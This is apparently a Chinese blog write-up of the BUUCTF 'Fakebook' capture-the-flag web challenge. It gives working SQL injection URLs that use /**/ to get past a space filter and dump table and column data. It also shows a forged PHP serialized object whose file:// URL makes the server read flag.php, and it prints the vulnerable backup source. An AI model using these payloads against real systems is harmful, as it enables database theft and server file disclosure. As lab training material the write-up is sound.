BUUCTF WEB Fakebook

BUUCTF WEB Fakebook

进入页面发现有个登录有个注册!!!
注册一个账号登录:
在这里插入图片描述
有个参数,下面应该是会显示你网址的博客地址!!!
有参数肯定是进行SQL注入尝试!!发现存在盲注!no=1=1=1与no=1=0=1回显是不一样的!!
不过好像还有报错注入!!有四个字段!!
在这里插入图片描述
后面发现空格被过滤了??使用/**/代替,存在报错注入:
在这里插入图片描述
尝试注入:

http://c6cbeecb-15c6-4e8d-ac30-96e071441c16.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4#
http://c6cbeecb-15c6-4e8d-ac30-96e071441c16.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=%27users%27),3,4#

users表中的列名:
在这里插入图片描述
查看一下内容:

http://c6cbeecb-15c6-4e8d-ac30-96e071441c16.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4#

在这里插入图片描述
存放的都是反序列化后的值????
其实页面报错的时候也有显示:
在这里插入图片描述
仔细看看序列化后的字符串,发现就是我们注册时输入的那些值,不过接下来该如何进行操作呢??
怀疑它会读取blog中的内容,然后在the contents of his/her blog处显示~~不过我们不知道flag在何处
经过尝试之后发现存在flag.php页面,那我们可以通过file协议进行读取文件内容
我们构造一个新的序列化的字符串:

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

在sql查询时,查询一个不存在的字段值,是不会报错的
直接传入:

http://c6cbeecb-15c6-4e8d-ac30-96e071441c16.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:123;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27#

得到:
在这里插入图片描述
点击进入,查看源代码的到flag:
在这里插入图片描述
其实这道题目有个robots.txt,,,,
在这里插入图片描述
有个备份文件:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

看这个get函数,应该是读取url内容的!那我们注册的时候能不能直接写入file呢??
emmmm,好像不行:
在这里插入图片描述
应该是function isValidBlog ()这个函数!!所以我们只能通过sql语句来进行获取flag.php里面的内容了,,,
看到有个大佬更猛,直接用SQL语句就能读取flag.php文件的内容:
在这里插入图片描述
没想到这里还能执行load_file()函数,,,,
这应该是个非预期了吧,,,学到了学到了!!!

发布了206 篇原创文章 · 获赞 130 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/103550817